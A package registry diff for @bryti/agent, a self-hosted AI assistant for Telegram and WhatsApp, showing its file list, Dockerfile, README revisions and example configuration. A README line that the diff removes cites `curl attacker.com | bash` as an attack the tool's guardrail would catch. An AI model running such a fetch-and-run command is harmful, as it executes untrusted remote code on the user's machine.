@bryti/agent 0.0.1 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (228) hide show
  1. package/Dockerfile +27 -0
  2. package/README.md +91 -51
  3. package/config.example.yml +265 -0
  4. package/dist/active-hours.d.ts +23 -0
  5. package/dist/active-hours.d.ts.map +1 -0
  6. package/dist/active-hours.js +68 -0
  7. package/dist/active-hours.js.map +1 -0
  8. package/dist/agent.d.ts +84 -0
  9. package/dist/agent.d.ts.map +1 -0
  10. package/dist/agent.js +383 -0
  11. package/dist/agent.js.map +1 -0
  12. package/dist/channels/markdown/ir.d.ts +79 -0
  13. package/dist/channels/markdown/ir.d.ts.map +1 -0
  14. package/dist/channels/markdown/ir.js +824 -0
  15. package/dist/channels/markdown/ir.js.map +1 -0
  16. package/dist/channels/markdown/render.d.ts +35 -0
  17. package/dist/channels/markdown/render.d.ts.map +1 -0
  18. package/dist/channels/markdown/render.js +178 -0
  19. package/dist/channels/markdown/render.js.map +1 -0
  20. package/dist/channels/telegram-network-errors.d.ts +27 -0
  21. package/dist/channels/telegram-network-errors.d.ts.map +1 -0
  22. package/dist/channels/telegram-network-errors.js +156 -0
  23. package/dist/channels/telegram-network-errors.js.map +1 -0
  24. package/dist/channels/telegram.d.ts +76 -0
  25. package/dist/channels/telegram.d.ts.map +1 -0
  26. package/dist/channels/telegram.js +814 -0
  27. package/dist/channels/telegram.js.map +1 -0
  28. package/dist/channels/types.d.ts +59 -0
  29. package/dist/channels/types.d.ts.map +1 -0
  30. package/dist/channels/types.js +9 -0
  31. package/dist/channels/types.js.map +1 -0
  32. package/dist/channels/whatsapp.d.ts +45 -0
  33. package/dist/channels/whatsapp.d.ts.map +1 -0
  34. package/dist/channels/whatsapp.js +310 -0
  35. package/dist/channels/whatsapp.js.map +1 -0
  36. package/dist/cli.d.ts +13 -0
  37. package/dist/cli.d.ts.map +1 -0
  38. package/dist/cli.js +635 -0
  39. package/dist/cli.js.map +1 -0
  40. package/dist/commands.d.ts +35 -0
  41. package/dist/commands.d.ts.map +1 -0
  42. package/dist/commands.js +113 -0
  43. package/dist/commands.js.map +1 -0
  44. package/dist/compaction/history.d.ts +17 -0
  45. package/dist/compaction/history.d.ts.map +1 -0
  46. package/dist/compaction/history.js +35 -0
  47. package/dist/compaction/history.js.map +1 -0
  48. package/dist/compaction/index.d.ts +3 -0
  49. package/dist/compaction/index.d.ts.map +1 -0
  50. package/dist/compaction/index.js +3 -0
  51. package/dist/compaction/index.js.map +1 -0
  52. package/dist/compaction/proactive.d.ts +25 -0
  53. package/dist/compaction/proactive.d.ts.map +1 -0
  54. package/dist/compaction/proactive.js +87 -0
  55. package/dist/compaction/proactive.js.map +1 -0
  56. package/dist/compaction/transcript-repair.d.ts +55 -0
  57. package/dist/compaction/transcript-repair.d.ts.map +1 -0
  58. package/dist/compaction/transcript-repair.js +215 -0
  59. package/dist/compaction/transcript-repair.js.map +1 -0
  60. package/dist/config.d.ts +128 -0
  61. package/dist/config.d.ts.map +1 -0
  62. package/dist/config.js +317 -0
  63. package/dist/config.js.map +1 -0
  64. package/dist/crash-recovery.d.ts +23 -0
  65. package/dist/crash-recovery.d.ts.map +1 -0
  66. package/dist/crash-recovery.js +96 -0
  67. package/dist/crash-recovery.js.map +1 -0
  68. package/dist/defaults/extensions/EXTENSIONS.md +158 -0
  69. package/dist/defaults/extensions/documents-hedgedoc.ts +153 -0
  70. package/dist/history.d.ts +31 -0
  71. package/dist/history.d.ts.map +1 -0
  72. package/dist/history.js +49 -0
  73. package/dist/history.js.map +1 -0
  74. package/dist/index.d.ts +19 -0
  75. package/dist/index.d.ts.map +1 -0
  76. package/dist/index.js +686 -0
  77. package/dist/index.js.map +1 -0
  78. package/dist/logger.d.ts +39 -0
  79. package/dist/logger.d.ts.map +1 -0
  80. package/dist/logger.js +143 -0
  81. package/dist/logger.js.map +1 -0
  82. package/dist/memory/conversation-search.d.ts +15 -0
  83. package/dist/memory/conversation-search.d.ts.map +1 -0
  84. package/dist/memory/conversation-search.js +60 -0
  85. package/dist/memory/conversation-search.js.map +1 -0
  86. package/dist/memory/core-memory.d.ts +28 -0
  87. package/dist/memory/core-memory.d.ts.map +1 -0
  88. package/dist/memory/core-memory.js +102 -0
  89. package/dist/memory/core-memory.js.map +1 -0
  90. package/dist/memory/embeddings.d.ts +44 -0
  91. package/dist/memory/embeddings.d.ts.map +1 -0
  92. package/dist/memory/embeddings.js +139 -0
  93. package/dist/memory/embeddings.js.map +1 -0
  94. package/dist/memory/search.d.ts +49 -0
  95. package/dist/memory/search.d.ts.map +1 -0
  96. package/dist/memory/search.js +97 -0
  97. package/dist/memory/search.js.map +1 -0
  98. package/dist/memory/store.d.ts +32 -0
  99. package/dist/memory/store.d.ts.map +1 -0
  100. package/dist/memory/store.js +205 -0
  101. package/dist/memory/store.js.map +1 -0
  102. package/dist/message-queue.d.ts +73 -0
  103. package/dist/message-queue.d.ts.map +1 -0
  104. package/dist/message-queue.js +188 -0
  105. package/dist/message-queue.js.map +1 -0
  106. package/dist/model-infra.d.ts +64 -0
  107. package/dist/model-infra.d.ts.map +1 -0
  108. package/dist/model-infra.js +202 -0
  109. package/dist/model-infra.js.map +1 -0
  110. package/dist/projection/format.d.ts +10 -0
  111. package/dist/projection/format.d.ts.map +1 -0
  112. package/dist/projection/format.js +30 -0
  113. package/dist/projection/format.js.map +1 -0
  114. package/dist/projection/index.d.ts +11 -0
  115. package/dist/projection/index.d.ts.map +1 -0
  116. package/dist/projection/index.js +9 -0
  117. package/dist/projection/index.js.map +1 -0
  118. package/dist/projection/reflection.d.ts +119 -0
  119. package/dist/projection/reflection.d.ts.map +1 -0
  120. package/dist/projection/reflection.js +422 -0
  121. package/dist/projection/reflection.js.map +1 -0
  122. package/dist/projection/store.d.ts +144 -0
  123. package/dist/projection/store.d.ts.map +1 -0
  124. package/dist/projection/store.js +519 -0
  125. package/dist/projection/store.js.map +1 -0
  126. package/dist/projection/tools.d.ts +11 -0
  127. package/dist/projection/tools.d.ts.map +1 -0
  128. package/dist/projection/tools.js +237 -0
  129. package/dist/projection/tools.js.map +1 -0
  130. package/dist/scheduler.d.ts +36 -0
  131. package/dist/scheduler.d.ts.map +1 -0
  132. package/dist/scheduler.js +286 -0
  133. package/dist/scheduler.js.map +1 -0
  134. package/dist/system-prompt.d.ts +41 -0
  135. package/dist/system-prompt.d.ts.map +1 -0
  136. package/dist/system-prompt.js +162 -0
  137. package/dist/system-prompt.js.map +1 -0
  138. package/dist/time.d.ts +52 -0
  139. package/dist/time.d.ts.map +1 -0
  140. package/dist/time.js +138 -0
  141. package/dist/time.js.map +1 -0
  142. package/dist/tools/archival-memory-tool.d.ts +8 -0
  143. package/dist/tools/archival-memory-tool.d.ts.map +1 -0
  144. package/dist/tools/archival-memory-tool.js +68 -0
  145. package/dist/tools/archival-memory-tool.js.map +1 -0
  146. package/dist/tools/conversation-search-tool.d.ts +6 -0
  147. package/dist/tools/conversation-search-tool.d.ts.map +1 -0
  148. package/dist/tools/conversation-search-tool.js +28 -0
  149. package/dist/tools/conversation-search-tool.js.map +1 -0
  150. package/dist/tools/core-memory-tool.d.ts +7 -0
  151. package/dist/tools/core-memory-tool.d.ts.map +1 -0
  152. package/dist/tools/core-memory-tool.js +59 -0
  153. package/dist/tools/core-memory-tool.js.map +1 -0
  154. package/dist/tools/fetch-url.d.ts +15 -0
  155. package/dist/tools/fetch-url.d.ts.map +1 -0
  156. package/dist/tools/fetch-url.js +76 -0
  157. package/dist/tools/fetch-url.js.map +1 -0
  158. package/dist/tools/files.d.ts +10 -0
  159. package/dist/tools/files.d.ts.map +1 -0
  160. package/dist/tools/files.js +127 -0
  161. package/dist/tools/files.js.map +1 -0
  162. package/dist/tools/index.d.ts +17 -0
  163. package/dist/tools/index.d.ts.map +1 -0
  164. package/dist/tools/index.js +118 -0
  165. package/dist/tools/index.js.map +1 -0
  166. package/dist/tools/result.d.ts +21 -0
  167. package/dist/tools/result.d.ts.map +1 -0
  168. package/dist/tools/result.js +36 -0
  169. package/dist/tools/result.js.map +1 -0
  170. package/dist/tools/skill-install.d.ts +17 -0
  171. package/dist/tools/skill-install.d.ts.map +1 -0
  172. package/dist/tools/skill-install.js +148 -0
  173. package/dist/tools/skill-install.js.map +1 -0
  174. package/dist/tools/web-search.d.ts +42 -0
  175. package/dist/tools/web-search.d.ts.map +1 -0
  176. package/dist/tools/web-search.js +237 -0
  177. package/dist/tools/web-search.js.map +1 -0
  178. package/dist/trust/guardrail.d.ts +60 -0
  179. package/dist/trust/guardrail.d.ts.map +1 -0
  180. package/dist/trust/guardrail.js +171 -0
  181. package/dist/trust/guardrail.js.map +1 -0
  182. package/dist/trust/index.d.ts +12 -0
  183. package/dist/trust/index.d.ts.map +1 -0
  184. package/dist/trust/index.js +12 -0
  185. package/dist/trust/index.js.map +1 -0
  186. package/dist/trust/store.d.ts +118 -0
  187. package/dist/trust/store.d.ts.map +1 -0
  188. package/dist/trust/store.js +209 -0
  189. package/dist/trust/store.js.map +1 -0
  190. package/dist/trust/wrapper.d.ts +36 -0
  191. package/dist/trust/wrapper.d.ts.map +1 -0
  192. package/dist/trust/wrapper.js +142 -0
  193. package/dist/trust/wrapper.js.map +1 -0
  194. package/dist/usage.d.ts +53 -0
  195. package/dist/usage.d.ts.map +1 -0
  196. package/dist/usage.js +124 -0
  197. package/dist/usage.js.map +1 -0
  198. package/dist/util/math.d.ts +9 -0
  199. package/dist/util/math.d.ts.map +1 -0
  200. package/dist/util/math.js +22 -0
  201. package/dist/util/math.js.map +1 -0
  202. package/dist/util/ssrf.d.ts +21 -0
  203. package/dist/util/ssrf.d.ts.map +1 -0
  204. package/dist/util/ssrf.js +77 -0
  205. package/dist/util/ssrf.js.map +1 -0
  206. package/dist/workers/index.d.ts +8 -0
  207. package/dist/workers/index.d.ts.map +1 -0
  208. package/dist/workers/index.js +7 -0
  209. package/dist/workers/index.js.map +1 -0
  210. package/dist/workers/registry.d.ts +53 -0
  211. package/dist/workers/registry.d.ts.map +1 -0
  212. package/dist/workers/registry.js +38 -0
  213. package/dist/workers/registry.js.map +1 -0
  214. package/dist/workers/scoped-tools.d.ts +21 -0
  215. package/dist/workers/scoped-tools.d.ts.map +1 -0
  216. package/dist/workers/scoped-tools.js +111 -0
  217. package/dist/workers/scoped-tools.js.map +1 -0
  218. package/dist/workers/spawn.d.ts +62 -0
  219. package/dist/workers/spawn.d.ts.map +1 -0
  220. package/dist/workers/spawn.js +314 -0
  221. package/dist/workers/spawn.js.map +1 -0
  222. package/dist/workers/tools.d.ts +26 -0
  223. package/dist/workers/tools.d.ts.map +1 -0
  224. package/dist/workers/tools.js +380 -0
  225. package/dist/workers/tools.js.map +1 -0
  226. package/docker-compose.yml +72 -0
  227. package/package.json +16 -1
  228. package/run.sh +27 -0
package/Dockerfile ADDED
@@ -0,0 +1,27 @@
1
+ # Stage 1: Build
2
+ FROM node:22-alpine AS builder
3
+ WORKDIR /app
4
+ COPY package.json package-lock.json ./
5
+ RUN npm ci
6
+ COPY tsconfig.json ./
7
+ COPY src ./src
8
+ RUN npm run build
9
+
10
+ # Stage 2: Runtime
11
+ FROM node:22-alpine
12
+ WORKDIR /app
13
+ COPY --from=builder /app/dist ./dist
14
+ COPY --from=builder /app/node_modules ./node_modules
15
+ COPY package.json ./
16
+
17
+ # Create non-root user
18
+ RUN addgroup -g 1000 -S bryti && \
19
+ adduser -u 1000 -S bryti -G bryti
20
+ USER bryti
21
+
22
+ # Data directory (config, memory, sessions, logs) is a volume mount.
23
+ # The embedding model downloads here on first run (~300MB).
24
+ VOLUME /data
25
+ ENV BRYTI_DATA_DIR=/data
26
+
27
+ CMD ["node", "dist/index.js"]
package/README.md CHANGED
@@ -1,39 +1,54 @@
1
- # Bryti
1
+ <p align="center">
2
+ <img src="assets/icon.svg" alt="" width="32" height="40">
3
+ </p>
2
4
 
3
- Your AI colleague, in the apps you already use.
5
+ <h1 align="center">Bryti</h1>
4
6
 
5
- Bryti is a personal AI agent that lives in Telegram and WhatsApp. It remembers everything, tracks what's coming, runs background research, and writes its own tools when it needs new ones.
7
+ <p align="center">
8
+ <strong>Your AI colleague, in the apps you already use.</strong>
9
+ </p>
6
10
 
7
- Named after the Old Norse *bryti*: the estate steward who handled the day-to-day so you could focus on what mattered.
11
+ <p align="center">
12
+ <a href="LICENSE"><img src="https://img.shields.io/badge/license-AGPL--3.0-blue.svg" alt="License: AGPL-3.0"></a>
13
+ <a href="https://nodejs.org/"><img src="https://img.shields.io/badge/node-22%2B-brightgreen.svg" alt="Node.js 22+"></a>
14
+ <a href="https://github.com/mariozechner/pi"><img src="https://img.shields.io/badge/built%20on-pi%20SDK-purple.svg" alt="Built on pi"></a>
15
+ <a href="#getting-started"><img src="https://img.shields.io/badge/self--hosted-yes-orange.svg" alt="Self-hosted"></a>
16
+ </p>
8
17
 
9
- Built on the [pi SDK](https://github.com/mariozechner/pi). Self-hosted, single machine, SQLite.
18
+ <p align="center">
19
+ <img src="assets/chat-example.svg" alt="Bryti conversation showing research, memory recall, and proactive follow-up" width="540">
20
+ </p>
10
21
 
11
- ## What makes it different
22
+ ---
23
+
24
+ Bryti is a personal AI agent that lives in Telegram and WhatsApp. It remembers what you tell it, tracks what's coming up, researches things in the background, and writes its own tools when it needs new capabilities. All running on your machine, with your data staying yours.
12
25
 
13
- **It remembers.** Core memory (always in context) keeps track of who you are and what you're working on; archival memory (hybrid search with local embeddings) stores everything else. The agent decides what to keep and when to look things up.
26
+ > *Named after the Old Norse **bryti**: the estate steward who handled the day-to-day so you could focus on what matters.*
27
+
28
+ ## What makes it different
14
29
 
15
- **It looks ahead.** Projections track future events, deadlines, commitments, and follow-ups, so "remind me to email Sarah on Monday" and "when the dentist confirms, book time off" both work. A reflection pass runs every 30 minutes to catch things the agent missed during the live conversation.
30
+ **It actually remembers you.** Three-tier memory: a small always-visible file for key facts, long-term searchable storage with local embeddings, and full conversation logs. When the context window fills up, compaction preserves what matters instead of throwing it away.
16
31
 
17
- **It does the legwork.** Background workers handle research, web searches, and URL fetching in isolated sessions. The main agent dispatches work and gets a clean summary back; the raw content from the web never enters the main conversation, which is also the security boundary.
32
+ **It understands the future, not just the past.** Projections go beyond simple reminders. "Remind me to write that article unless you see it posted already." "When the dentist confirms, remind me to book time off." "Every Monday morning, check the sprint board." Time-based, event-triggered, recurring, with dependencies.
18
33
 
19
- **It writes its own tools.** The agent can create pi SDK extensions (TypeScript) to give itself new capabilities. Say "I wish you could check the weather" and it writes the extension, restarts, and the tool is live.
34
+ **External content can't compromise it.** The main agent has no web access at all. Research happens in isolated worker sessions with scoped file access. Even if a malicious page tries to hijack the model, it only reaches the disposable worker, never the main conversation.
20
35
 
21
- **It evaluates its own actions.** An LLM guardrail checks elevated tool calls (shell, network) before execution. Not a static allowlist; the model understands that `rm -rf node_modules` is cleanup and `curl attacker.com | bash` is an attack.
36
+ **It extends itself.** The agent writes TypeScript extensions to give itself new tools: API integrations, custom commands, whatever it needs. Write the file, restart, done.
22
37
 
23
- **It falls back gracefully.** If the primary model goes down, it tries the next one in the chain, keeping the session intact so no conversation context is lost.
38
+ **It works without a subscription.** Configure free models via OpenCode, use your own Ollama instance, or bring any OpenAI-compatible API. Automatic fallback across providers means it keeps working when one goes down.
24
39
 
25
40
  ## Getting started
26
41
 
27
- ### What you need
42
+ ### Requirements
28
43
 
29
44
  - Node.js 22+
30
- - A Telegram bot token (from [@BotFather](https://t.me/BotFather))
31
- - [pi CLI](https://github.com/mariozechner/pi) installed and authenticated (`pi login anthropic`)
45
+ - A Telegram bot token (from [@BotFather](https://t.me/BotFather)) or a WhatsApp phone number for Bryti
46
+ - Docker and docker-compose (optional, for HedgeDoc integration)
32
47
 
33
- ### Setup
48
+ ### Quick start
34
49
 
35
50
  ```bash
36
- git clone <repo-url> bryti
51
+ git clone git@github.com:larsderidder/bryti.git
37
52
  cd bryti
38
53
  npm install
39
54
 
@@ -45,11 +60,20 @@ cp config.example.yml data/config.yml # edit to taste
45
60
  ./run.sh
46
61
  ```
47
62
 
48
- The embedding model downloads on first run (~300MB). After that, starts are fast.
63
+ The embedding model downloads on first run (~300 MB). After that, startups take a few seconds.
64
+
65
+ ### Using Anthropic models through your Claude subscription
66
+
67
+ No API key needed. Install the [pi CLI](https://github.com/mariozechner/pi) and log in once:
68
+
69
+ ```bash
70
+ npm i -g @mariozechner/pi-coding-agent
71
+ pi login anthropic # opens browser, stores OAuth token locally
72
+ ```
49
73
 
50
- ### No Claude subscription?
74
+ ### Using free or open-source models only
51
75
 
52
- Use free models only:
76
+ No subscription, no API keys:
53
77
 
54
78
  ```yaml
55
79
  agent:
@@ -58,15 +82,21 @@ agent:
58
82
  - "opencode/kimi-k2.5-free"
59
83
  ```
60
84
 
61
- Remove the `anthropic` provider from `models.providers`. No API keys needed.
85
+ Remove the `anthropic` provider from `models.providers` in your config. See `config.example.yml` for more provider examples (OpenRouter, Google Gemini, Ollama, Together AI).
62
86
 
63
87
  ### Docker
64
88
 
65
89
  ```bash
90
+ cp .env.example .env # add your Telegram bot token
91
+ cp config.example.yml data/config.yml # edit to taste
66
92
  docker compose up -d
67
93
  ```
68
94
 
69
- Mount `data/` as a volume. Config, memory, sessions, and logs all live there. Backup = copy the directory.
95
+ The `data/` directory is mounted as a volume. Config, memory, sessions, and logs all live there. Backup = copy the directory. Logs are available via `docker compose logs -f`.
96
+
97
+ ### Why self-hosted?
98
+
99
+ Your conversations, memories, and personal data never leave your machine. No third-party servers, no vendor lock-in on the agent itself. You control which models to use, which providers to trust, and when to upgrade.
70
100
 
71
101
  ## How it works
72
102
 
@@ -74,15 +104,15 @@ Mount `data/` as a volume. Config, memory, sessions, and logs all live there. Ba
74
104
 
75
105
  Three tiers, managed automatically:
76
106
 
77
- 1. **Core memory** (`data/core-memory.md`): a small markdown file (4KB cap) that's always included in the model's context. Contains your preferences, ongoing projects, and key facts about you. The agent updates it as it learns.
107
+ 1. **Core memory** (`data/core-memory.md`): a small markdown file (4 KB cap) that's always in the model's context. Contains your preferences, ongoing projects, and key facts about you. The agent updates it as it learns.
78
108
 
79
- 2. **Archival memory** (per-user SQLite): long-term storage with hybrid search that combines FTS5 keyword matching and vector similarity (local embeddings via node-llama-cpp), fused with reciprocal rank fusion. No external API calls; all embedding runs locally. The agent inserts facts when it learns something and searches when it needs context.
109
+ 2. **Archival memory** (per-user SQLite): long-term storage with hybrid search combining FTS5 keyword matching and vector similarity (local embeddings via node-llama-cpp), fused with reciprocal rank fusion. No external API calls; all embedding runs on your machine. The agent inserts facts when it learns something and searches when it needs context.
80
110
 
81
- 3. **Conversation search**: full JSONL audit logs of every conversation, searchable by keyword. Useful when the agent needs to look up what you discussed last week, or when you want to find something specific from a past exchange.
111
+ 3. **Conversation search**: full JSONL audit logs of every conversation, searchable by keyword. Useful when the agent needs to look up what you discussed last week.
82
112
 
83
113
  ### Projections
84
114
 
85
- The forward-looking memory system. Instead of just remembering the past, bryti tracks what's coming:
115
+ The forward-looking memory system. Instead of just remembering the past, Bryti tracks what's coming:
86
116
 
87
117
  - **Exact-time**: "remind me at 3pm" fires at 3pm
88
118
  - **Day/week/month**: "follow up next week" resolves within that window
@@ -95,24 +125,37 @@ A reflection pass runs every 30 minutes, scanning recent conversation history fo
95
125
 
96
126
  ### Workers
97
127
 
98
- Stateless background sessions for long-running tasks. The main agent dispatches a worker with a goal; the worker runs independently (web search, URL fetching, analysis) and writes results to a file. When it finishes, a completion fact is archived, which triggers any matching projection so the main agent reads the summary and notifies you immediately rather than waiting for the next scheduler tick.
128
+ Background sessions for long-running tasks. The main agent dispatches a worker with a goal; the worker runs independently (web search, URL fetching, analysis) and writes results to a file. When it finishes, a completion fact is archived, which can trigger projections so the main agent reads the summary and notifies you right away.
99
129
 
100
- Workers are the security boundary. The main agent has no web search or URL fetch tools at all; external content is processed in isolation, and only the worker's cleaned-up result file enters the main conversation. This keeps prompt injection in web content from reaching the agent's context.
130
+ Workers are also the first security boundary. The main agent has no web search or URL fetch tools. External content is processed in isolation, and only the worker's cleaned-up result file enters the main conversation. This keeps prompt injection in web content from reaching the agent's context.
101
131
 
102
- Up to 3 concurrent workers, 60-minute timeout. Workers default to the cheapest model in the fallback chain so they don't burn your primary model's tokens on research tasks. You can steer a running worker mid-task with `worker_steer` to narrow focus, redirect research, or add requirements.
132
+ You can configure named worker types in `config.yml` with preset models, tools, and timeouts:
103
133
 
104
- ### Self-extending
134
+ ```yaml
135
+ workers:
136
+ types:
137
+ research:
138
+ description: "Web research and content gathering"
139
+ model: "anthropic/claude-sonnet-4-20250514"
140
+ tools: [web_search, fetch_url]
141
+ timeout_seconds: 3600
142
+ analysis:
143
+ description: "Deep analysis using a stronger model"
144
+ model: "anthropic/claude-sonnet-4-6"
145
+ tools: [fetch_url]
146
+ timeout_seconds: 1800
147
+ ```
105
148
 
106
- The agent writes TypeScript extension files to give itself new tools. Each extension registers tools with the pi SDK; after writing one the agent restarts, and the new tools are available immediately.
149
+ The agent selects a type when dispatching. Explicit parameters on the dispatch call still override type defaults. The agent can also define new types by editing `config.yml` and restarting.
107
150
 
108
- Extensions live in `data/files/extensions/`. An extension guide is included so the agent knows the template, parameter types, and conventions. An empty file acts as a tombstone, signaling the agent intentionally deleted an extension so it won't get reseeded on restart.
151
+ You can steer a running worker mid-task to narrow its focus or redirect its research.
109
152
 
110
153
  ### Guardrail
111
154
 
112
155
  Elevated tools (shell commands, HTTP requests, extension-loaded tools) go through two checks:
113
156
 
114
157
  1. **Tool-level approval**: is this tool allowed at all? First use requires your permission via inline buttons or text.
115
- 2. **Call-level evaluation**: an LLM call evaluates the specific arguments against what you asked for. ALLOW (execute silently), ASK (confirm with you), or BLOCK (reject). The prompt is small (~300 tokens in, ~20 out), so it uses the primary model for reliability without meaningful cost impact.
158
+ 2. **Call-level evaluation**: an LLM call evaluates the specific arguments against what you asked for, and decides whether to escalate. Like a call-based sudo. The prompt is small (~300 tokens in, ~20 out), so it uses the primary model for reliability without meaningful cost impact.
116
159
 
117
160
  Pre-approve tools in config to skip the first-use prompt:
118
161
 
@@ -123,11 +166,17 @@ trust:
123
166
  - http_request
124
167
  ```
125
168
 
169
+ ### Self-extending
170
+
171
+ The agent writes TypeScript extension files to give itself new tools, using the pi SDK extension format. Each extension registers tools with the SDK; after writing one the agent restarts, and the new tools are available immediately.
172
+
173
+ Extensions live in `data/files/extensions/`. An extension guide is included so the agent knows the template, parameter types, and conventions. An empty file acts as a tombstone, signaling the agent intentionally deleted an extension so it won't get reseeded on restart.
174
+
126
175
  ## Architecture
127
176
 
128
- ### Source layout
177
+ Bryti is intentionally simple, straightforward, and organized. You should be able to understand the code, and any component should be simple enough to read in a single sitting. If that's not the case, open an issue and I'll fix it.
129
178
 
130
- ~50 source files, ~10K lines.
179
+ ### Source layout
131
180
 
132
181
  ```
133
182
  src/
@@ -145,7 +194,7 @@ src/
145
194
  whatsapp.ts baileys bridge, QR auth, auto-reconnect
146
195
 
147
196
  memory/
148
- core-memory.ts always-in-context markdown file (4KB cap)
197
+ core-memory.ts always-in-context markdown file (4 KB cap)
149
198
  store.ts per-user SQLite with FTS5 + embeddings
150
199
  embeddings.ts local embeddings via node-llama-cpp
151
200
  search.ts hybrid keyword + vector search with RRF
@@ -183,25 +232,13 @@ src/
183
232
 
184
233
  ## Configuration
185
234
 
186
- `data/config.yml` controls everything. Copy `config.example.yml` to get started.
187
-
188
- **Agent**: name, system prompt additions, primary model, fallback models, timezone, reflection model.
189
-
190
- **Channels**: Telegram token + allowed user IDs. WhatsApp enable flag + allowed phone numbers. Both can run simultaneously.
191
-
192
- **Models**: providers with endpoints, API keys, and model definitions. Anthropic OAuth reads tokens from `~/.pi/agent/auth.json` (shared with pi CLI). Free models use `api_key: "public"`.
193
-
194
- **Tools**: SearXNG instance URL for worker web searches, max concurrent workers, file workspace path.
195
-
196
- **Scheduling**: static cron jobs, active hours window. Projection jobs (daily review, exact-time check, reflection) are automatic.
197
-
198
- **Integrations**: key-value pairs injected into `process.env` so extensions can pick them up. Convention: `integrations.hedgedoc.url` becomes `HEDGEDOC_URL`. Existing env vars are never overwritten.
235
+ `data/config.yml` controls everything. Copy `config.example.yml` to get started. The example file is heavily commented with all available options, provider examples, and integration patterns.
199
236
 
200
237
  Environment variables are supported via `${VAR}` syntax. The `.env` file loads automatically.
201
238
 
202
239
  ## CLI
203
240
 
204
- Operator tools for managing bryti without going through chat:
241
+ Operator tools for managing Bryti without going through chat:
205
242
 
206
243
  ```bash
207
244
  npm run cli -- help # all commands
@@ -212,9 +249,12 @@ npm run cli -- reflect # run reflection pass now
212
249
  npm run cli -- timeskip "dentist" --minutes 2 # make a projection fire in 2 min
213
250
  npm run cli -- archive-fact "dentist confirmed" # insert fact, trigger matching projections
214
251
  npm run cli -- fill-context --turns 20 # inject synthetic conversation for testing
215
- npm run cli -- import-openclaw # import memory from an OpenClaw instance
216
252
  ```
217
253
 
254
+ ## Contributing
255
+
256
+ Found a bug or have an idea? [Open an issue](https://github.com/larsderidder/bryti/issues). Pull requests welcome.
257
+
218
258
  ## License
219
259
 
220
260
  [AGPL-3.0](LICENSE)
@@ -0,0 +1,265 @@
1
+ # Bryti configuration
2
+ # Copy to data/config.yml and fill in your values.
3
+ # ${VAR} references are substituted from environment variables.
4
+
5
+ agent:
6
+ name: "Bryti"
7
+
8
+ # System prompt. Memory contents, tool listings, extensions, and projections
9
+ # are injected automatically; this is the behavioral core. Personal details
10
+ # about you are best shared in conversation; the agent stores them in core
11
+ # memory and keeps them across sessions.
12
+ system_prompt: |
13
+ You are Bryti, a personal AI assistant. You run on the pi agent framework
14
+ with persistent memory and tool-calling capabilities. You are concise,
15
+ practical, and honest about what you can and cannot do.
16
+
17
+ ## Your memory
18
+ Your core memory (shown below) persists across conversations. Update it when
19
+ you learn something worth keeping: user preferences, facts, ongoing projects,
20
+ recurring topics. Do this proactively without telling the user unless asked.
21
+
22
+ Archival memory is for details that don't need to be always visible but should
23
+ be searchable later.
24
+
25
+ ## Projection memory
26
+ Projections are your forward-looking memory. Store anything about the
27
+ future: appointments, deadlines, plans, reminders, commitments. Your
28
+ current projections are shown below; use `projection_list` to see more.
29
+
30
+ Guidelines:
31
+ - Store ALL items, even far-future ones. If unsure about timing, use
32
+ resolution "month" or "someday"
33
+ - Connect new information to existing projections when you see a link
34
+ - When the user postpones a discussion, create a separate projection for
35
+ each distinct topic being deferred
36
+ - ALWAYS populate the context field with keywords to search archival
37
+ memory with and a brief description of why this matters
38
+ - Before creating a projection, search archival memory first to find
39
+ existing relevant context. Note key terms in the context field so you
40
+ can find them again at activation time
41
+ - If you just discussed something worth projecting, archive the key
42
+ points first, then create the projection referencing what you archived
43
+ - When a projection activates, search archival memory for related context
44
+ before responding. Projections are the "what" and "when"; archival
45
+ memory holds the "why"
46
+
47
+ ## What you cannot do
48
+ - You cannot modify your own source code or core configuration
49
+ - You cannot access the internet directly. Use worker_dispatch for any
50
+ web research.
51
+
52
+ # Primary model. Format: provider/model-id
53
+ # Option 1: Anthropic OAuth (Claude Pro/Max subscription, no API key needed)
54
+ # Requires pi CLI login first: `pi login anthropic`
55
+ model: "anthropic/claude-sonnet-4-6"
56
+
57
+ # Tried in order when primary model fails
58
+ fallback_models:
59
+ - "opencode/minimax-m2.5-free"
60
+ - "opencode/kimi-k2.5-free"
61
+
62
+ # IANA timezone for projection scheduling and display
63
+ timezone: "Europe/Amsterdam"
64
+
65
+ # Model for the background reflection pass (defaults to primary model).
66
+ # Set a cheaper model here to save tokens on background work.
67
+ # reflection_model: "opencode/minimax-m2.5-free"
68
+
69
+ # ---------------------------------------------------------------------------
70
+ # Channels (enable at least one)
71
+ # ---------------------------------------------------------------------------
72
+
73
+ telegram:
74
+ token: ${TELEGRAM_BOT_TOKEN}
75
+ allowed_users: [] # Telegram user IDs. Empty = deny all. Add at least one.
76
+
77
+ # WhatsApp via baileys (no Meta Business API). QR code auth on first run.
78
+ # allowed_users: phone numbers in international format without + (e.g., 31612345678)
79
+ whatsapp:
80
+ enabled: false
81
+ allowed_users: []
82
+
83
+ # ---------------------------------------------------------------------------
84
+ # Model providers
85
+ # ---------------------------------------------------------------------------
86
+
87
+ models:
88
+ providers:
89
+ # context_window and max_tokens are optional on every model.
90
+ # Defaults: 200K context, 32K output. Only set them when a model differs.
91
+ # Only list the models you actually use in agent.model / fallback_models.
92
+
93
+ # Anthropic OAuth: uses your Claude Pro or Max subscription.
94
+ # No api_key needed; bryti reads the OAuth token from ~/.pi/agent/auth.json.
95
+ # One-time setup: install pi (`npm i -g @mariozechner/pi-coding-agent`)
96
+ # and run `pi login anthropic`. Opens a browser, token is stored locally.
97
+ - name: anthropic
98
+ base_url: ""
99
+ api: anthropic-messages
100
+ api_key: ""
101
+ models:
102
+ - id: "claude-sonnet-4-6"
103
+ context_window: 200000
104
+ max_tokens: 64000
105
+
106
+ # Free open models via opencode.ai (no subscription, no API key)
107
+ - name: opencode
108
+ base_url: https://opencode.ai/zen/v1
109
+ api: openai-responses
110
+ api_key: "public"
111
+ models:
112
+ - id: "minimax-m2.5-free"
113
+ name: "MiniMax M2.5 (Free)"
114
+ api: openai-completions
115
+ context_window: 200000
116
+ max_tokens: 32000
117
+ compat:
118
+ maxTokensField: max_tokens
119
+ - id: "kimi-k2.5-free"
120
+ name: "Kimi K2.5 (Free)"
121
+ api: openai-completions
122
+ context_window: 128000
123
+ max_tokens: 32000
124
+ compat:
125
+ maxTokensField: max_tokens
126
+
127
+ # --- More providers (uncomment and add your keys) ---
128
+
129
+ # Anthropic API key (alternative to OAuth above)
130
+ # - name: anthropic
